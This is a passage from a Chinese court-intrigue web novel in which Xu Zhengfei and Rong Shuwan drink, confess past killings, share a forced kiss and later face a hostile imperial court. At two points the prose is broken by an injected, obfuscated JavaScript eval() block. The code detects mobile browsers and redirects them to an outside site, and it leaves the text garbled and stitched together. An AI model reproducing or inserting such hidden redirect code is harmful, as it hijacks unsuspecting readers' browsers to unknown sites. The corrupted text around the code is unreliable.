“他逼良为娼,强杀我外祖父一家六口,夺走我母亲。待她生下一对同胞子之后,却不许她入府,而是将他送给表兄做玩物。满钱府,都知这兄弟二人,有个漂亮贞烈的倡伎——不知沦落了多少人。” 三言两句,便将那女子一生说透。 徐正扉怔住,脸上仅存的一点微笑都黏住了。他扫过目光去,却见戎叔晚神色阴冷,连目光都淬了冰霜似的,咬着恨意。 “那倡伎,是我母亲。”戎叔晚凑得更近了,几乎将唇贴在人耳朵上,温度滚烫。而后,他又重复了一遍,几乎是喃声:“那倡伎,是我母亲。” 他坐直身子,复又去饮酒,只是脸上却添了诡异的落寞——“大人乃是名动天下的风流人物,令尊令堂的掌上明珠,连主子也得高看一眼的徐郎。又哪里知道……这是什么滋味儿呢。” “杀他?” “那是他该死。” “当年光景,满府一十七个姬妾,无一个替她说情。你知道,是谁不让她进府吗?正是那位大夫人。她将我那同生的兄弟带走,成了她的‘儿子’。”戎叔晚笑了:“说起来,我这兄弟也争气,得幸做了钱府的少爷,见我母亲那等景况,竟也不吭声。” 徐正扉没说话,薄唇抿紧了,却仍微微颤抖着。 不过是高门贵族色起时的游戏,便翻云覆雨,玩弄毁灭了某个女子的一生。任凭风月摧残,肉身打击,胎子流亡,还要叫她得了尊贵的儿子旁观最不堪的一幕。可隔着那层不堪,权力两头,纵是生身母子,也已是云泥之别。 ——戎叔晚露出个湿淋淋的笑容:“我不光杀了钱弋昌、钱中韫,那些夫人姬妾,我的手足兄弟,我还杀了满府的仆子。临行前,我还放火烧了钱府街邻三里。” ——那口气一句比一句渗人:“这世上,再没有一个活着的人知道:我的父亲是谁。” 流着这样的骨血,他蒙羞。 戎叔晚挂着那个越来越僵硬的笑容,逼近徐正扉:“现在,大人也知道了我的秘密。” 说着话,他有条不紊的将徐正扉肩头微皱的痕迹捋平,口吻微妙地问道:“不知道,大人又想要做什么呢?” 徐正扉迎上那锋芒乍现的眼神,却丝毫不惧。 此刻,他觉得戎叔晚是这样的潮湿、这样的冰冷。仿佛又回到那一日,他变成了那个——才从痛苦深井里捞出来的湿月亮。分明被狂潮与巨浪打得破碎、摇晃,灵魂岌岌可危,却仍旧狼狈无措地拼凑着完整的自己。 他呲着牙,像一头受伤的野兽,朝靠近的人发出威胁的低吼。 但徐正扉知道,他无法咬伤谁,他不过是虚张声势。他是那样的害怕。 “想做什么吗?” “是。” 徐正扉缓缓掐住他的脸:“嘘。” 戎叔晚眼底湿红,仿佛困惑,那声息低哑:“什么?” 徐正扉忽然贴上去,用唇抵住他的唇,而后迅速的偏移,只是不小心擦过似的,最终落在他耳边,“我说,戎先之,你若想,我可以给你——” 【一个吻。】 10. 010 珍珠帘 “什么?” 戎叔晚咀嚼着徐正扉的这句话,似乎有什么难以启齿的心思,总之,他就这样转过视线来,盯着那双唇看了许久,却迟迟没有下一步的动作。 徐正扉微微笑,才要开口:“……” 那句话被过于幽邃的眼神堵回去了。 徐正扉垂下眼去,那视线落在戎叔晚微微颤抖的嘴唇上。 这贼子呆滞在原处,似乎是想解释,又似乎想要一个答案,“你想给我什么?”他抬手钳住人的下巴,不甘心地将目光掠过去,“如果大人是想……” 两个人贴近,略带酒香的呼吸起伏着…… 在将触碰到的刹那,戎叔晚好似被电了下,忽然别开脸去了。 猛地—— 戎叔晚站起身来。 那样沉的眼,那样冷的神情,那样不近人情的、从嗓子里滚出来的声息……就连手指都蜷紧起来,须得缓慢地呼出两口气,方才能压住那些没来由的乱:“大人见谅,是我吃醉了。” 徐正扉端起酒杯,神色玩味。 为这马奴的欲言又止,他淡定地狂饮,而后笑:“那年在将军府吃酒,你也吃醉了不成?” 戎叔晚不敢置信地扭过脸来:“……” 当日,谢祯求着这几位贤良出主意,几人共聚将军府。喝到酒酣三巡,各家都让仆子扛走了。而徐正扉——说好了“求将军庇佑”,却也没留宿,而是与戎叔晚扯着袖子吵吵嚷嚷地去了。 吃醉酒的徐正扉,再没有往日獠牙,而是一改尖锐言辞,笑眯眯地朝他拱手:“求你收留我……今日回府,倒要叫人捉去抵命的。” 那两腮酒后的云霞,涂得如三月春华。 戎叔晚捞住人:“可是查尹同甫一事?” “岂不正是!”徐正扉笑,醉意浓重的折身挂在他怀里。 戎叔晚岂能忘了?只将眼皮子沉下去,便是摇摇晃晃的风流意气……那窄腰搁在掌心里握住,心绪乱的似麻。 ——怀里的人,为政事清白而争锋、连傲骨都是翠玉造的。 到底,戎叔晚妥协了:“哼,好。今夜,我亲自守着你。” 月影西沉之际,他抱胸靠在人床边,拿阴冷而困惑的目光,缓缓地扫过那张脸,以及藏着柔软锦被里略显凌乱的衣衫……徐正扉陷下去的那块,偏照着火焰与银光似的,在他心底亮起来一大片。 戎叔晚不合时宜地想到:若他死了,倒可惜。 鬼使神差的…… 他俯身下去,将唇贴在人额鬓处。 仿佛烙印。 被他缓慢地刻下来。 ——戎叔晚不知道为何心底鼓擂,他慌怕而心虚,又俯身盯着那张脸看,仿佛再也攥不住此刻流光。 可他刻下了那个烙印。 为一个吻,像是认命似的,他决意好好守着:或许只是今夜,也或许是许多的夜晚…… 夏热,徐正扉生了一点细汗,那处湿润……是水般的月亮停留的痕迹。片刻后,又被戎叔晚拿帕子擦干净了,如同他往日的行事谨慎,在作恶时,便先将证据毁灭干净。 可惜当时,徐正扉压根没睡着,就算毁了证据也门清儿。 此刻。 徐正扉意犹未尽地提醒他:“想起来了?” 戎叔晚冷着脸,居高临下,装傻:“不知道大人是什么意思。” “没什么意思。戎先之,我酒还没喝完,你想去哪儿?——” 戎叔晚就看着他,不说话。 “我是说,如果你想,我可以给你一个肩膀靠靠,让你顾影自怜,好好地哭一场。”徐正扉佯作苦恼,戏谑道:“看这意思,倒是扉自作多情了。大人哭不出来便算了,怎么还想丢下人跑开呢?” 方才的旖旎烟消云散,戎叔晚脸色缓和下来,哼笑一声:“那大人算我不识抬举好了。” “扉的记性不好,将军府相聚吃醉了,往后的事儿记不得。钱府的故事么,也听糊涂了七八分。听说凶手逃往荆楚,如今难寻,便也草草结案了。”徐正扉继续道:“戎先之,我只知,你是戎府的新贵老爷,是主子养的一条好狗,手里握着权力造的一条蟒杖,操着终黎诸臣的生杀大权——旁的,我却不曾听闻了。” 戎叔晚仍站着。 偏徐正扉若无其事地笑,扬起下巴使唤人:“作甚?还不给扉倒酒。” 戎叔晚便又折身回来,与他倒了一杯酒。那辩驳不开、扯得纷乱的思绪全成了无奈,到嘴边,竟只剩一声轻嗤了。 “徐仲修。” “你……” 那话没说出来,就被人打断了。 徐正扉先他一步开口,说的却是正事儿:“三日后,我‘官复原职’,要去上朝。” 戎叔晚沉声:“这事儿不妥,你现今树敌太多,还有……” “我正要去会会那个燕少贤。”徐正扉啧声:“良禽择木,良臣择主。他自诩贤臣,与扉打擂台,却扶着这等奸贼上位。我倒要看看,是什么样的人物。” “论起他来,眼下的御前红人,比你在主子那里得宠还甚。我劝你,不要招惹他。”戎叔晚将酒壶搁下:“得人授意,尹同甫这些日子,没少寻你的罪证。若是你告病休沐,他奈何不得,若你出面,反倒麻烦。” “凭他?——这上城万万人,还没一个叫我怕的。” “大人是不怕,我倒要忙碌了。” 徐正扉不置可否,露出幸灾乐祸的笑来:“枉你做一回大奸,若护不住我,便是个窝囊废了。” “你!……” 徐正扉笑,又问:“我父兄在狱中,如何了?” “一切安好,已经托人关照,吃穿用度都是上等的,除了不是自由身,旁的无碍。”戎叔晚道:“魏将军与薛相公也入狱了。依我看,现如今,那倒是最安全的地界,且不着急救他们出来。” “也好。”徐正扉道:“我兄长是个实心眼。若出了牢狱,再起争端,反倒妨碍咱们的大事。” “那现在,绑成一条船上的蚂蚱,你可信得过我了?新君之事……” 徐正扉避而不谈,只睨了他一眼,便道:“什么新的旧的。我只问你,忙了这些日子,难道不曾去寻主子?不去打听下落?你手底下那些鹰犬之徒,难道不曾奔逐西关追问将军?” 不可谓不敏锐。 但戎叔晚也同样装傻,随他一样回避道:“天远万里,无有心腹知晓,我能去哪里寻行踪下落?——神仙来了,也无法。” 徐正扉意味深长地打量他,分明不信,但他却没再追问,而是长叹了一口气……私怨恩仇,家国覆灭,眼下错综复杂的人事,飞雪似的落在头顶,实在不知该顾哪一件才好。 想了想,他有些火大:“早知当日,要么心狠些,死谏也得要主子诞下龙嗣倒好。” “……” 戎叔晚道:“若是当初,咱们不曾阻拦,今日,倒未必是这样的结局。” “如何?难不成谢祯生一个出来?” 戎叔晚气结:“你这话,也忒的……” “泽元妻离子散,叶家满门流放,再说什么,也挽回不得了……”徐正扉幽幽地叹气,又喝了杯酒,“现如今,我只盼着他二人平安无虞,叫这江山黎民少吃些苦头。” 戎叔晚听了,心绪百转,当下无言,只继续陪着他吃酒。 这场酒直吃到夜深三更,徐正扉才扶着桌案站起身来。他倒也不客气,径自便朝内室走去,直待转过幕帘时,醉意朦胧,身影摇晃,被戎叔晚眼疾手快地扶住了。 徐正扉回眼,挨着人慢吞吞道:“你跟过来做什么?” 他挂住戎叔晚的手臂,嘟嘟囔囔道,“如今,城北五千兵,有李威掌管;城西一万,有纪文紧握;城中御军五千,在闵添之手;再有两千,有温旭成盯着,你只收敛收敛,也够咱们用的。” 这些时日,人虽被困府中,可他仿佛手眼通天,竟对局势了如指掌。 “李威之妻弟,乃是泽元的学生。纪文之父,曾受恩于我。”徐正扉看了他一眼,双眼仿佛闪着水光似的亮,而暗中却是不可捉摸的阴沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519536|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“再有……半年前,上城街杀老妪者,是李威的堂兄,案子还压在我手里。” 戎叔晚心绪一紧,“你的意思……” 徐正扉笑起来了。他抬手,轻轻拂了拂戎叔晚肩上并不存在的灰尘:“扉没有什么意思。只是……吃醉了。至于想怎么做,当然是听‘督军’的了……” 听见他改换称呼,戎叔晚当下明白大半。他哼笑,擒住人的手:“可惜这里没有督军,只有国尉。” 徐正扉眸光一转,旋即明白过来他的意思:恐怕是要借钟离策之手。 “扉醉的厉害,头晕眼花的,竟听不懂。总之……不干扉的事儿。”说着,他朝外看了一眼,隔着窗,苍茫月白一片,不知是雪光还是什么……于是,他施施然行了个礼:“夜深路滑,扉今日便要住你这小院儿了——你嘛,戎先之,请自便。” 说话间,那香雾萦绕。 戎叔晚自觉也醉得厉害了些,他怔怔地站在原地,看着徐正扉兀自摇晃着爬上床,往哪儿一躺,便阖上眼睡过去了……他开口:“小院冷些,大人何不下榻戎府?” “……” 半晌,也没等到回应。 戎叔晚跟上去,坐在床边。他静望着那张脸,难得唤他的字,只是声息干哑:“仲修?” 那位呼吸匀称,酣睡不语;只是薄唇抿着,红润而水光潋滟。 戎叔晚越看越觉得,他今日,未必只是想借给自己一个肩膀的……那么,会是什么呢?他不敢再猜,生怕那个呼之欲出的答案滚在心里,烫得日夜不安。 徐正扉梦呓着:“戎先之,你、你这呆货……” 为这句话,戎叔晚报复似的伸手,捏住他的颊肉,轻轻扯了两下。 指腹的触感柔软而其妙,酒意涌上大脑,蛊惑着他将手落在侧脸上。 大拇指轻轻摩挲着——完全不受控制,而后缓慢地游移到唇瓣上。他揉着人唇瓣,越来越用力,直至那长睫都微微颤抖……戎叔晚喉结不停地滚动,手指的力气开始轻重不匀。 [就当自己是个十足的混蛋罢。] 戎叔晚顾不得了。 他猛地抬手,捂住了人的眼睛。 那身子便俯落下去,擒吻住了人。胸膛里滚着火山一样浓热的流焰,必须借助这个吻才能纾解。他舔吃,揉弄,撬开牙关,擒咬住他的舌,将酒香滚成一阵又一阵的喘息。 那吻实在太用力了些。 双唇被人破了皮儿,交换着涎水,舌根被裹得发麻,连肺腑的气息都堵住了。他仿佛要沿着喉咙钻进人的身体里,将这琉璃似的、翠玉似的人打碎,再捧着他的碎片全部吞下去。 可戎叔晚知道,若是那样,自己也不过肠穿肚烂。 他们是两条路上的人,在短暂的交错之后,必将向着更远的山河跋涉……他这样腐朽而千疮百孔、七零八落的灵魂,被最阴冷的岁月浇灌,合该献给权柄——他早就死了。 ——死了许多次。 此刻挨靠着,在寒雪夜里热吻,他仿佛才活了过来。 徐正扉喘不过气,掀开沉重的眼皮儿想探个究竟,却因被捂住眼睛而撞进漆黑一片。迷迷糊糊间,徐正扉去掰眼睛上的手,身子挣扎的扭了两下,却被那铁一样的桎梏擒住,动弹不得。 那厚实的胸膛压下来,仿佛一座山——徐正扉下意识去推他。 可惜,野猫一等的微不足道的反击不仅没能推开人,反倒是引起了狂吻之人的不满,连手腕也被钳住摁在头顶了。 热吻变得更猛烈,带着方才剖露的痛苦,藏着这几年生死与共的隐忍,心底怒涌的卑劣,针锋相对下的期盼,隐约烧成一团,交融着吞噬两个人。 戎叔晚连他的涎水都裹着吞下去,甜的头皮发麻,平日里激烈的言辞滚成低吟似的喘——徐正扉只在这样的时刻,才肯输给他。卸去满身风华,不是遥不可及的贵公子,而是被他叼在嘴里的猎物。 唇齿被填满,近乎粗暴的舔咬和吸吮,叫人窒息,嗓子里连半个字都挤出不来。 “唔……” 11. 011 落花时 翌日,戎叔晚脖颈上旧伤才好,又添了新伤,耳垂下边藏着半块牙印,叫他拿衣领拢得更紧些,只是指痕实在遮不住。 心腹再问:“大人,您这又是被猫挠的?” 戎叔晚冷眼睨他:“多嘴。” 徐正扉则是一早就被戎叔晚派人护送回府里了。他才落脚,便急着进宫,仆子们赶忙伺候他更衣,一瞧见他的脸,竟也诧异关切:“公子,您这嘴上……是怎么了?” 徐正扉舔了舔唇,疼得倒吸了口冷气儿,他骂道:“昨儿吃蝎子,叫那毒物蛰的。” “哎哟,那等东西可吃不得啊。瞧瞧,都破皮肿起来了!”仆子伺候他打理干净,又忍不住问了一句:“您今日,是要去……?” “上朝。” 仆子一边替人捋着后背的玉腰带,一边说道:“小的多嘴说句话,如今老爷和大公子还没定论,您若去上朝,可万万不要惹人生气啊。” 此刻,徐正扉一身华服青袍站定,红色暗纹绣着馥郁牡丹卧金鹿,祥云浮在裙裾上,衬得风流逼人;他伸手,将那官服捋得没一丝褶皱,连笑意都带着点自嘲:“我徐家,便没有贪生怕死之辈。” “公子这等的智慧,最是讨主子欢喜的,眼下低头,顾全大局要紧,未必日后没有风光。总也是为国尽忠……” 仆子叹气,还想再说什么,叫徐正扉睨了一眼,便不吭声了。 徐正扉哼笑:“我哪里是逞能,不过时局所迫罢了。” 仆子听不懂,只好躬下身子去。他心里忧虑,又不敢再多劝:谁不知道徐二公子是出了名儿的狂奍呢?——嘴利得像刀,偏有才华护身,本事通天,是个死不得的人物。 他确实不明白,徐正扉硬要往刀尖上撞是个什么道理…… 实在只因无法!眼下,若不是徐正扉顶在宝座前,其余人更出不得手。他不过是披着狂奍的皮,替这飘摇江山拖时间罢了,若不拦着,任凭钟离策伸手去握刀,便不知要再死多少人了…… 钟离策想废新制、讨好权贵高门,徐正扉就大闹朝堂,四处寻出罪来,再清理拥趸者。其余人才好躲在徐正扉搅出来的漩涡里,悄不作声的收拾残局,逼得钟离策作罢。 轿子落在宫门外。 徐正扉下轿抚袍,才将要进门,就被人堵住了。 那张冷笑的脸阴沉,不是戎叔晚那贼子还能是谁? 他出声警告:“今日,大人慎言。” 徐正扉道:“如何慎法?与你般,磕几个响头谢恩?” 戎叔晚被噎住:“……” 他哼声:“好心相劝,竟被大人当作驴肝肺。” 徐正扉盯着他脖子上新添的伤,笑眯眯伸出手去,还不等指尖摸到,就被人狠钳住了。 戎叔晚盯着他:“作甚?” 徐正扉笑道:“哟,大人身手利落,怎么又伤成这样?——怕是昨儿,院子里也闹贼了。” “……”戎叔晚俯身下去,凑到他耳边:“贼没有,叫不知哪里跑来的野猫抓的,爪子太利,纵擒住一只‘前蹄’,也狠得叫人疼。” 说着,他撤身站直了,神情似笑非笑,只微扬着下巴从眼底瞧人,将目光落在那只被钳住的手上。 他好奇——徐正扉指甲分明修剪得干净,光滑整齐,也不知怎么能将人抓出血痕来的? “大人的手,倒是漂亮。” 徐正扉往回抽手,却因被人攥紧而纹丝不动:“?” 戎叔晚戏谑的声息低沉:“家养的……就是比外头的野猫更乖。” 徐正扉磨牙,刚要发作,戎叔晚便松开他,将话锋一转,“罢了,不提那野猫也好。我候在这里等你,是想告诉大人:尹同甫手里,伪造了不少证据。小心些。” 徐正扉点头,又道:“凭他们,可唬不住我,只说你,别忘了当日之约就好。” 戎叔晚质疑瞧他,因吃了太多亏,论起来都不知道哪一个,但看徐正扉诡谲的表情就生怕有陷阱:“哪个当日之约?” 徐正扉无语,白他一眼:“当年青云宴,你与君主比武,可欠我三个月的日子没还完。” 戎叔晚:“……” 差点忘了这茬儿! 当日青云宴,君主宴请群臣;他们这一等人臣,上赶着找事儿,为了防着君主与谢祯生米煮成熟饭,只追进主子卧寝殿外。 君主冲徐正扉发难,意有所指:“卿等一个个的,不叫人安心,某些人——真是走路摔倒了,都要跌出来八百个心眼子。” 旁人都纳闷:“这是说谁呀?” ——“想来说的是谁,谁便能听懂。” 徐正扉一本正经地叹气,“唉,君主高深,扉也没听懂呢。” 戎叔晚瞧了他一眼,哼笑道,“大人若也不懂,旁人更没个懂得了。” 君主轻叹,“要是徐卿识相些,就好了。” 徐正扉佯装耳背,“风大,君主刚才说什么?扉没听清。” 钟离遥斜睨他一眼,“朕说,来个人杀功臣,给朕助助兴!” “还有这等好事儿?”徐正扉装傻,“那必定是将军!劳苦功高,杀来助兴最好了。哎,对了,将军现今在上城也无什么要紧事,不如与我一同处理那盐税之事好了,有将军镇着,都知道他杀敌等着用银子,扉办起事儿来,也畅快安心。” “哼,这样一身腥的活儿,是朕专门给爱卿留的,怎么能假手他人呢。” 徐正扉哼道:“君主的心肝儿,都偏到后背去了!晚上睡觉也不怕硌得慌。” 君主竖眉,叫人噎住了,“你,你——卿这话说的,朕何曾偏心成这样?!” “再者,前几日李大人说的武夫的赛事,本来就打算交给将军来操办,一遭忙下来,也得个把月了,哪里有工夫替你坐镇?”君主正色道,“卿刚才也说了,将军劳苦功高,该歇的就要歇着,也不好到处奔波,什么小事儿都指派。” “好呀,好呀,君主果真是滴水不漏!”徐正扉苦笑着作了个揖,“活该扉命苦啊!” 眼看其他不明所以的臣子,都露出一副‘偏心过了头’的神色,君主无奈道,“好了,你莫要装可怜——”他拿眼神示意,要遣戎叔晚给他,“唤他去伴着你,可好?” 徐正扉嗤笑一声,“得了吧,督军的名声比我还差!眼见就成了过街的老鼠,还能救得了我这个‘夹着尾巴的猫’?” 戎叔晚恨不得提他襟领子,“大人说话好不中听!” “难道不是事实?”徐正扉叹道,“再说了,你那身功夫,跟将军比,想必差多了?恐怕连君主都不如?” “什么叫连君主都不如?” “什么叫连朕都不如?” 君主和戎叔晚霎时黑了脸,两双冷目一起紧盯住了谢祯。 高大威猛的谢将军头一次显得‘弱小无助’,“这……这也不关谢某的事儿啊——徐、徐大人,你这样不好吧。” 徐正扉挑拨离间,惹得君主凛目唤道,“去拿朕的凌岳宝剑来!今日,朕倒要看看,将军长进了几分!” 这两人都是高手中的高手,又熟悉彼此招式,一时打得不可开交,剑花簌簌地凌乱闪烁。要么说徐郎心思深,他偏只赞君主一个,只叹君主招式漂亮,必胜无疑。 戎叔晚抱胸瞧着,“君主虽不上战场,这剑法功夫却也了得,果不愧是文武双全。” 徐正扉笑道,“督军怕了?” “怕了?笑话。” 徐正扉却不理会,只道,“今日我赌你——必输无疑!若是输了,你便为我鞍前马后、唯命是从,乖乖听话三个月,如何?你可敢赌?” “若是赢了呢?”戎叔晚冷笑,“你便反过来,给我端茶倒水、捏肩捶背,乖乖听话三个月,如何?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519537|186265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “一言为定。”徐正扉拍拍人的肩膀,摇摇头笑着走到另一边去了。 谢祯险胜,因断了君主发簪、又削下一缕头发去,吓得连忙跪倒。 徐正扉火上浇油,笑喊,“扉给君主叫好半天,嗓子都哑了,唉——真是可气!” 君主散发负手而立,“朕输了。” 戎叔晚一愣,那笑看似和善,眉目间的意味却冷津津的,他不由得暗叫一声不好,忙出声道,“各有损伤,此乃平手——今日吃了酒,主子也乏累了,不如改日再比。” 徐正扉不同意,“督军此话无理,君主岂是那样输不起的人呢?” 戎叔晚咬着后槽牙,冷笑道,“那我与将军比试一番,这样也公平,正想试试将军的身手。” 君主微笑,“戎叔晚,这话何意?” 眼见躲不过去,戎叔晚只好慢腾腾地向前,不过十步之遥,就走出一身汗来。此刻,只恨不能另一条腿也瘸了。此番架势,且不说他能不能赢,纵是能,他也不敢。 徐正扉善察人心,他赌的就是这马奴心思细,瞧透了君主那微笑之下的火气;他悠悠笑道,“督军技不如人,早日为扉鞍前马后吧。” 戎叔晚只得认命,老实儿败下阵来。 君主知道他不肯用尽全力,冷哼一声,“你这马奴,全叫那徐卿带坏了玲珑窍,竟不与朕一心了!” 戎叔晚乖乖告罪,跪在地上不敢起来:“小奴不敢……” 直至人群吵嚷几晌,都散尽了,徐正扉才踢了人一脚,“我说督军,起来吧,人都走远了。接下来的三个月,就有劳督军了。” 戎叔晚松了口气,直起身来,抬眼瞧他,神情戏谑,“君主说得果然不错,大人跌倒了,都要摔出八百个心眼子——你哪里赌我打不过君主,你分明是赌我不敢动手。” “哎,这话冤枉人,我怎么知道君主会叫人打碎了簪子,散发与你比。” “你赌的是君主输了,定会不悦。”戎叔晚道,“那谢祯本来也不敢赢,你非替人家加了个‘彩头’,那武夫不卖力才怪。” “诶,扉答应要帮将军的,这有何错?”徐正扉笑道,“你不也答应了要帮他吗?怎么?反悔了?——” “难道就非得今日吗?” “择日不如撞日。”徐正扉道,“现在好了,没三五个月,君主都不能消气了。”他笑眯眯提醒道,“我帮也帮了,君主倒更气了——这怨不着我,扉可是哪边都没辜负。” 戎叔晚气道,“好恶毒的心思,平白又让我劳动三个月。” “谢谢督军夸奖。”徐正扉笑着欲往外走,忽然又想起来似的,回头道,“哦对了,督军,明日起,到府衙上候着吧。督军只管保护扉的安全,才不过辛苦三个月,不然,走起夜路来,总是害怕有人寻仇。” “知道了。”戎叔晚嗤笑一声,暗自捡拾地上一粒小石子,打在人屁股上。 “哎哟。”徐正扉痛呼,左右环顾一圈,没看见一个人,再低头去找戎叔晚,那马奴竟也没踪影了,“怪哉。” 忆起当日戎叔晚吃瘪,徐正扉还是忍不住嗤嗤笑:“我说戎叔晚——猫爪利不利,扉不知道。但那狐狸尾巴倒要夹起来,乖乖给人低头做事了!” 戎叔晚瞥他,哼笑:“时过境迁,前尘尽忘。什么比武?我可不认。” “哎——你!”徐正扉只恨不得啐他:“你这奸贼。” 戎叔晚刚要再与他斗两句嘴,余光便扫见张愿等人朝这走来。 他眼神沉下去,当即恢复平时的那等厉色,只冷笑一声,转身朝里走了。威风的杖子放肆地敲打在宫城的玉砖上,狂妄作响。 冷风刮过头顶,吹得脸如刀割。 徐正扉站定看着他走远的身影,只觉得他周遭萦绕着沉寂阴戾之势,仿佛一头厉冬雪地里慢行的兽。藏着獠牙,亟待吞掉什么…… 12. 012 击梧桐 房津才走近了,便看见徐正扉怔愣站在那里。 他自身后开口:“仲修?” 徐正扉回神儿,转脸朝他行礼,又在视线触及人片染似的两鬓雪白时,惊怔住了。他哑声,伸出手去拍了拍人的肩膀:“泽元,你……” 房津露出个微笑来:“不必担忧,只是心中烦愁。你今日不该来的才是,前几天,已经当朝奏了你两本。” 这么低声说着,张愿等人已走进前来了。 这几人本是东宫十六子,早些年,舍卫里以房津为首;大家吟诗作赋、畅谈政治宏愿,最是少年意气,相伴辅助东宫十载,直至君主登基,才赏了各处的官职。 可惜物是人非,如今再见,倒寡淡的没一句寒暄了。张愿和王品连眼神都没好意思与人交汇,只别过脸去,朝房津拱了拱手,什么也没说便快步走了。 徐正扉冷笑:“早些年,看他们便不是什么好货。” “仲修,慎言。”房津目送他们远去,又叮嘱道:“安平侯手段狠辣,并不惜才,只图权柄。不似君主——你万万不得冲动。” “当日造反,张家受了牵连,钟离启和张愈虽已伏法,但太后归朝,张氏一族便故态复萌了。就连张愿之父张延,也抽调回朝。他本就与太后是表兄妹,如今岂不是……唉……” 徐正扉道:“当日房丞相,与你留下那么多的‘权位人事’,泽元,你实在迂腐。大难当前,为何不用——!” 房津没说话,垂下眼去。 当年,君主曾握住了他的手,感慨道:“泽元跟在朕身边也有十多了。卿当年,是何等的踌躇满志、意气风发,朕如今忆起卿入东宫之日,红袍青衣、云带官髻,那等珠玉华光——犹在眼前啊。” 房津却只敢将身子恭敬伏低,“您还记得呢,连泽元都快忘了。” 君主垂眸,盯着他发髻中的几根银发,心绪复杂,“如今卿心力煎熬,才做父亲的人,竟已生了白发。朕……” 君主愧在未能予他一个体面的人臣之位;然而房家势大,祸患之下,帝王也无法。他又何敢动用那等人事呢? 这些年来,他一直谨小慎微,不过循心而往,一心谋造生民福祉罢了。纵是房家风光时,他亦战战兢兢,如履薄冰,一心一意为君主鞍前马后、呕尽肝胆。 他也曾有少年壮志、满腔豪情,有心要做风光的人臣、要追随雄才大略的君主,要经营出三百年难得一见的繁荣盛世——然而,他不强求。房津一向懂得‘盛极必衰、万事有尽’之理,更懂得人生不能总是圆满。他只是尽力而为,甘愿做垫脚的阶石,为这终黎即将唱彻的战鼓,献上毕生的心血。 他相信,自己追随的人,定是个明君。 可如今呢? 先是为求自保,姊妹春贤弑父。后是不肯同流合污,妻儿却丧命于钟离策之刀下。这位心力交瘁、为终黎朝堂呕心沥血的人臣、一个可怜的父亲,在将近不惑之年却成了丧家之犬。 他开口,呕的脸色也煞白:“仲修,若是君主不归,我除了认命,又能如何呢?可新制一废,君臣之心血毁于一旦,任他屠戮,大厦将倾,此颓势,必不可再挽回。” “若非不甘、万万性命无辜,我又何尝不愿辞官归去呢。”房津苦笑:“我倒羡慕庄知南——出宫一去,隐于问鹤山,便再不问世事了。” 徐正扉至今仍记得庄知南那句“观龙虎困斗于朝堂,无异于火中取栗,悬梁吊颈而已!” “听说,钟离策也换人去请他了?只是不知,什么个景况?” “他拒绝出仕。”房津叹了口气,缓步朝前走去:“仲修,时局不容我。当初,君主借将军之手,平恩邦之患、定荆楚之势,将兵权收敛干净。再借你之手,将上城权贵高门手里的权柄铲除,又以叶司会挟制商贾之流,更命我接手太学,清洗盘根错节的裙带,断了士族的根脉。” “现如今,谁还能成得了气候,跳起来做个‘功高震主’的先锋将?”房津道:“一盘散沙,政治清明,无有派系相争,反倒容钟离策作乱了。” 徐正扉幽幽长叹,恨得想笑,偏那位主子圣明勤政,将满腹谋略都用于政事了。若他昏庸,此刻相搏,倒不知鹿死谁手呢。 ——徐正扉拂袖,“只恨他儿女情长!” 说罢这句,只沉着脸快步跟上去了。 今日朝堂上,太后静坐幕帘之后,淡定的抚弄着华丽袖口,她唤德安替他传话,德安便神色平静的将私语递到钟离策耳边。 朝上,不少人口诛笔伐,要寻徐正扉的麻烦。 董云狗腿子似的开口,“新君登基,当体察民情,如今的上城,叫徐大人搅得鸡犬不宁,大门紧闭不敢出,徐大人自领着先君的鸡毛令箭,喝令各级官署服从条例,恐怕只是为了自己的威严,造那许多的冤假错案——察访盐税,却污蔑重臣,还请新君明鉴!” 徐正扉淡定笑道:“当日你父遭诛杀,死得倒不冤枉。”他负手站立:“早先扉便说过,到底是哪家鸡犬不宁?何人怨声载道?既表下‘于社稷不安’这等定论,可得有实打实的证据才行!此事全在扉的肩膀上,若有责罚、褒奖,也得容扉申辩才是——怎么这会儿却直接缠着安平候要分明呢?!” “放肆,此乃新君!” “新君?——”徐正扉道:“敢问君主尸身何在?可曾迎回?一日不见昭平尸身,扉一日不认新君。” “新制乃君主所定,扉兢兢业业,日夜不敢忘却。若是安平候连君主的旨意都不认,执意坐在这个位置上,恕扉不能苟同——扉定不与逆贼合污。尔等审我?笑话。” “再有,盐税之事早已查明上禀,君主已有定论。安平侯却将罪臣提拔至于朝堂,岂不是甘于下流!” 钟离策气得直坐不住:“徐正扉,你休要大放厥词,真当朕杀不得你吗?” 徐正扉笑道:“安平候想杀我,自然杀得。今日太后坐镇,侯爷自封为王,扉区区肉身,死不得许多次。只是,既尹大人也放出来了,不如公然与扉对簿,敢问,诸位定论我污蔑重臣……哪里来的证据?” 尹同甫这才开口。 被那锐利目光盯住,他抿紧了唇,仿佛心虚,并不肯去看徐正扉,只将证据抬出来:“请新君过目。” 钟离策假模假样地看过,旋即扬手,将那册子与账目摔出去,纸页洒洒飘落在朝堂之上。诸众不语,太傅也悠悠然半阖双目,一副看戏姿态。 徐正扉扬了扬下巴,不知道与谁下命令:“捡来,与扉看。” 戎叔晚低眼,嘴角不作声地翘起来,又迅速压下去…… 他忍笑辛苦,实在不知道徐正扉如何能以这副堂皇姿态,挤在人臣中“耀武扬威”的。那架势将钟离策气得脸都绿了:“你放肆你!徐正扉,你命令谁呢。” 